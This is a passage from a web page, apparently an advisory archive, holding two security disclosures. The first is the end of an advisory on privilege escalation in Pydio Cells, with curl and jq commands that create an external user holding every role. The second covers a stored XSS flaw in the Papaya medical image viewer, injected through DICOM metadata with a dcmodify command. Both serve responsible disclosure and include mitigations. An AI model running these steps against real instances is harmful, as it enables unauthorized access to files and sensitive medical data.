token=AO[...]<br /><br />{<br /> "Attributes": {<br /> "profile": "shared",<br /> "parameter:core.conf:lang": "\"en-us\"",<br /> "send_email": "false"<br /> },<br /> "Roles": [],<br /> "Login": "newuser",<br /> "Password": "secret!",<br /> "GroupPath": "/",<br /> "Policies": [...]<br />}<br />------------------------------------------------------------------------<br /><br />The JSON object sent in the body contains the username and password<br />for the user to be created and an empty list for the key "Roles". The<br />response contains a JSON object similar to the following:<br /><br />------------------------------------------------------------------------<br />{<br /> "Uuid": "58811c4c-2286-4ca0-8e8a-14ab9dbca8ce",<br /> "GroupPath": "/",<br /> "Attributes": {<br /> "parameter:core.conf:lang": "\"en-us\"",<br /> "profile": "shared"<br /> },<br /> "Roles": [<br /> {<br /> "Uuid": "EXTERNAL_USERS",<br /> "Label": "External Users",<br /> "Policies": [...]<br /> },<br /> {<br /> "Uuid": "58811c4c-2286-4ca0-8e8a-14ab9dbca8ce",<br /> "Label": "User newuser",<br /> "UserRole": true,<br /> "Policies": [...]<br /> }<br /> ],<br /> "Login": "newuser",<br /> "Policies": [....],<br /> "PoliciesContextEditable": true<br />}<br />------------------------------------------------------------------------<br /><br />The key "Roles" now contains a list with two objects, which seem to be<br />applied by default. The roles list in the HTTP request can be<br />modified to contain a list of all available UUIDs for roles, which can<br />be obtained by using the user search functionality. This results in a<br />new user account with all roles applied. By performing a login as the<br />newly created user, access to all cells and non-personal workspaces of<br />the whole Pydio instance is granted.<br /><br /><br />Proof of Concept<br />================<br /><br />Login to the Pydio Cells web interface with a regular user and retrieve<br />the JWT from the HTTP requests. This can either be done using an HTTP<br />attack proxy or using the browser's developer tools. Subsequently, curl [1]<br />can be used as follows to retrieve a list of all users and their roles:<br /><br />------------------------------------------------------------------------<br />$ export JWT="<insert JWT here>"<br />$ curl --silent \<br />--header "Authorization: Bearer $TOKEN" \<br />--header 'Content-Type: application/json' \<br />--data '{}' \<br />https://example.com/a/user | tee all_users.json<br /><br />{"Users":[...]}<br />------------------------------------------------------------------------<br /><br />Afterwards, jq [2] can be used to create a JSON document which can be<br />sent to the Pydio REST-API in order to create the external user "foobar"<br />with the password "hunter2" and all roles assigned:<br /><br />------------------------------------------------------------------------<br />$ jq '.Users[].Roles' all_users.json \<br />| jq -s 'flatten | .[].Uuid | {Uuid: .}' \<br />| jq -s 'unique' \<br />| jq '{"Login": "foobar", "Password": "hunter2", "Attributes":<br />{"profile": "shared"}, "Roles": .}' \<br />| tee create_user.json<br /><br />{<br /> "Login": "foobar",<br /> "Password": "hunter2",<br /> "Attributes": {<br /> "profile": "shared"<br /> },<br /> "Roles": [...]<br />}<br />------------------------------------------------------------------------<br /><br />Finally, the following curl command can be issued to create the new external<br />user:<br /><br />------------------------------------------------------------------------<br />$ curl --request PUT \<br />--silent \<br />--header "Authorization: Bearer $JWT" \<br />--header 'Content-Type: application/json' \<br />--data @create_user.json \<br />https://example.com/a/user/foobar<br />------------------------------------------------------------------------<br /><br />Now, login with the newly created user to access all cells and<br />non-personal workspaces.<br /><br />Workaround<br />==========<br /><br />Disallow the creation of external users in the authentication settings.<br /><br /><br />Fix<br />===<br /><br />Upgrade Pydio Cells to a version without the vulnerability.<br /><br /><br />Security Risk<br />=============<br /><br />Attackers with access to any regular user account for a Pydio Cells instance can<br />extend their privileges by creating a new external user with all roles<br />assigned. Subsequently, they can access all folders and files in any<br />cell and workspace, except for personal workspaces. The creation of<br />external users is activated by default. Therefore, the vulnerability is<br />estimated to pose a high risk.<br /><br /><br />Timeline<br />========<br /><br />2023-03-23 Vulnerability identified<br />2023-05-02 Customer approved disclosure to vendor<br />2023-05-02 Vendor notified<br />2023-05-03 CVE ID requested<br />2023-05-08 Vendor released fixed version<br />2023-05-14 CVE ID assigned<br />2023-05-16 Vendor asks for a few more days before the advisory is released<br />2023-05-30 Advisory released<br /><br /><br />References<br />==========<br /><br />[1] https://curl.se/<br />[2] https://stedolan.github.io/jq/<br /><br /><br />RedTeam Pentesting GmbH<br />=======================<br /><br />RedTeam Pentesting offers individual penetration tests performed by a<br />team of specialised IT-security experts. Hereby, security weaknesses in<br />company networks or products are uncovered and can be fixed immediately.<br /><br />As there are only few experts in this field, RedTeam Pentesting wants to<br />share its knowledge and enhance the public knowledge with research in<br />security-related areas. The results are made available as public<br />security advisories.<br /><br />More information about RedTeam Pentesting can be found at:<br />https://www.redteam-pentesting.de/<br /><br /><br />Working at RedTeam Pentesting<br />=============================<br /><br />RedTeam Pentesting is looking for penetration testers to join our team<br />in Aachen, Germany. If you are interested please visit:<br />https://jobs.redteam-pentesting.de/<br /><br />-- <br />RedTeam Pentesting GmbH Tel.: +49 241 510081-0<br />Alter Posthof 1 Fax : +49 241 510081-99<br />52062 Aachen https://www.redteam-pentesting.de<br />Germany Registergericht: Aachen HRB 14004<br />Geschäftsführer: Patrick Hof, Jens Liebchen<br /></code></pre>
<pre><code>-----BEGIN PGP SIGNED MESSAGE-----<br />Hash: SHA512<br /><br />Title<br />=====<br /><br />SCHUTZWERK-SA-2022-001: Cross-Site-Scripting in Papaya Medical Viewer<br /><br />Status<br />======<br /><br />PUBLISHED<br /><br />Version<br />=======<br /><br />1.0<br /><br />CVE reference<br />=============<br /><br />CVE-2023-33255<br /><br />Link<br />====<br /><br />https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2022-001/<br /><br />Text-only version:<br />https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2022-001.txt<br /><br />Further SCHUTZWERK advisories:<br />https://www.schutzwerk.com/blog/tags/advisories/<br /><br /><br />Affected products/vendor<br />========================<br /><br />Papaya, Research Imaging Institute - University of Texas Health Science <br />Center<br /><br />Summary<br />=======<br /><br />User supplied input in the form of DICOM or NIFTI images can be loaded <br />into the<br />Papaya web application without any kind of sanitization. This allows to <br />inject<br />arbitrary JavaScript code into the image's metadata which will in <br />consequence be<br />executed as soon as the metadata is displayed in the Papaya web application.<br /><br />Risk<br />====<br /><br />The vulnerability allows an attacker to inject arbitrary JavaScript code <br />into<br />the Papaya web application. A risk calculation highly depends on how the <br />Papaya<br />software is used as a library in the context of a bigger medical web<br />application. During the discovery of this vulnerability, the web application<br />which used Papaya allowed to upload and store corresponding images on <br />the web<br />server and display them to multiple users. It was therefore possible to <br />store<br />JavaScript code on the server and attack users to impersonate or steal their<br />session, leading to a disclosure of sensitive medical data.<br /><br />Description<br />===========<br /><br />A medical web application assessed for security vulnerabilities by <br />SCHUTZWERK<br />was found to contain a stored cross-site-scripting vulnerability. The<br />application uses the Papaya JavaScript software[0] published by the Research<br />Imaging Institute belonging to the University of Texas Health Science <br />Center[1].<br /><br />The software is described as "[..] a pure JavaScript medical research image<br />viewer, supporting DICOM and NIFTI formats, compatible across a range of web<br />browsers [..]". It can be used stand-alone or integrated into larger medical<br />applications, has 192 forks and 488 stars on GitHub and was used in at <br />least 50<br />published academic research papers[2].<br /><br />One of the main features is to open medical images of multiple formats, <br />which<br />can be achieved via the context menu "File - Add image...". Papaya then <br />displays<br />the image and adds a new icon in the upper right corner of the viewer. <br />This icon<br />allows to open another context menu to edit the previous opened image as <br />a layer<br />in multiple ways. The option of interest for the cross-site-scripting<br />vulnerability is the "Show Header" entry, which allows getting further<br />information about the medical image.<br /><br />An example DICOM[3] zip archive was downloaded[4], extracted and opened in<br />Papaya. The "Show Header" function shows multiple entries including private<br />patient data fields like patient ID, name, date of birth and gender.<br /><br />The DICOM ToolKit (DCMTK)[5] offers multiple tools to analyze, create <br />and edit<br />DICOM images. The metadata field "Manufacturer" of the previously downloaded<br />DICOM image was edited with help of the DCMTK tool dcmodify:<br /><br />DICTPATH=/tmp/share/dcmtk/dicom.dic dcmodify -m<br />"Manufacturer=<script>alert(1)</script>" 2_skull_ct/DICOM/I0<br /><br />The DCMTK tool dcmdump can be used to verify the manipulated metadata entry:<br /><br />dcmdump 2_skull_ct/DICOM/I0<br /><br />[..]<br /># Dicom-Data-Set<br />[..] (0008,0070) LO [<script>alert(1)</script>] # 26, 1 <br />Unknown<br />Tag & Data [..]<br /><br />Viewing the header information of the manipulated DICOM image in Papaya <br />executes<br />the injected JavaScript code in the web browser.<br /><br />SCHUTZWERK decided to publish the still existing vulnerability (commit <br />4a42701),<br />since the vendor did not implement any remediation several months after new<br />contributors have been introduced to the project.<br /><br /><br />Solution/Mitigation<br />===================<br /><br />Several mitigation recommendations have been sent to the vendor. These <br />include<br />common mitigation strategies from OWASP[6], like escaping user <br />controlled input<br />and the usage of popular JavaScript libraries like DomPurify[7].<br /><br />As a quick workaround, the context menu, which allows showing header <br />information<br />can be disabled by setting the variable kioskMode to true.<br /><br /><br />Disclosure timeline<br />===================<br /><br /><br />2020-08-20: Vulnerability discovered 2020-08-20: Vulnerability reported to<br /> vendor<br />2020-09-30: Contacted vendor again<br />2020-09-30: Vendor responds and asks for mitigation ideas<br />2020-10-01: Response to vendor with detailed information and mitigation <br />ideas<br />2020-11-09: Contacted vendor again for any status updates<br />2022-08-30: Retest of the customer application including the Papaya web<br /> application<br />2022-09-21: Notified vendor of intention to publish advisory<br />2022-10-18: Vendor notified SCHUTZWERK of new contributors who will <br />maintain the<br /> project<br />2023-04-19: Informed vendor about publication deadline on May 15, 2023<br />2023-05-08: Vendor replied with intention to fix vulnerability until May <br />15,2023<br />2023-05-15: Vulnerability fixed by vendor<br />2023-05-26: Advisory published by SCHUTZWERK<br /><br />Contact/Credits<br />===============<br /><br />The vulnerability was discovered during an assessment by Lennert Preuth of<br />SCHUTZWERK GmbH.<br /><br /><br />References<br />==========<br /><br />[0] https://github.com/rii-mango/Papaya<br />[1] https://rii.uthscsa.edu/<br />[2] http://mangoviewer.com/pubs.html<br />[3] https://en.wikipedia.org/wiki/DICOM<br />[4] https://medimodel.com/sample-dicom-files/human_skull_2_dicom_file/<br />[5] https://dicom.offis.de/dcmtk.php.de<br />[6] https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_<br /> Prevention_Cheat_Sheet.html<br />[7] https://github.com/cure53/DOMPurify<br /><br /><br />Disclaimer<br />==========<br /><br />The information in this security advisory is provided "as is" and without<br />warranty of any kind. Details of this security advisory may be updated <br />in order<br />to provide as accurate information as possible. The most recent version <br />of this<br />security advisory can be found at SCHUTZWERK GmbH's website.<br />-----BEGIN PGP SIGNATURE-----<br /><br />iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmRwkEgaHGFkdmlzb3Jp<br />ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrvCEA//YsP7ZUvk9VLzp49DtsMP<br />HQF0ojoBmNZOi5fymVDRGScmMT5VLOsdp9EUEywPYxmxo1rPc4vv6gM3hQsQ7TRO<br />oAb9ZeZjvYy2Nyz6cy3wX4H2naFOHEr085Uwpg9pX5DAHkQVsseTi/n04u5PT5xP<br />Fnuozie/KOG4pmkkKFHmG6aWgUSXWZuq8japOghl6g35BmG7ntXG2OYsb7f5ITYw<br />ksRbJt+8wetrBsa/pR6ZfEkoEpyuFZg85EDpDRoBPVlGZtuSF6dh+WfO+9VQBjLE<br />dZwPRaXefHp/v89rEfWvkX3JGmGWh6P8KQ+puF3GHLcBa8iDIbW/HPfQHGuGhfIa<br />upZ1E+HtgpxInxelM/BcFKXSjD4AMnAULa2C6nWsdmw8GIKHHus+WQuK1z40R7N4<br />Vji59buH9SBWAWb7MuyRrdxoZSmAuxcR7lXVzHMxSOZm0W7J0d9luLL8XUn4kj8+<br />tRE24TgbdGyAYr/V6BO9RiYCtyWPji5VBtwFZLFlvKRo81zyS9nve651nWS7Fv/l<br />OGns4fGbEZ+sm/YuFdfyzg8TMJ0pqV0AswCnx9mSqWn3RRBHg55pE4i6IyUdofu/<br />eiaTl33oyGolW7rQ5ATtmsOgKp5jKb7rt3WVSBLn1D9+JJ8MfbDrvyUoTkIZaqEp<br />4bKAQKWvxQG8GpbKuQT4on0=<br />=IEuk<br />-----END PGP SIGNATURE-----<br /><br />-- <br />SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany<br />Zertifiziert / Certified ISO 27001, 9001 and TISAX<br /><br />Phone +49 731 977 191 0<br /><br />advisories@schutzwerk.com / www.schutzwerk.com<br /><br />Geschäftsführer / Managing Directors:<br />Jakob Pietzka, Michael Schäfer<br /><br />Amtsgericht Ulm / HRB 727391<br />Datenschutz / Data Protection www.schutzwerk.com/datenschutz<br /><br /></code></pre>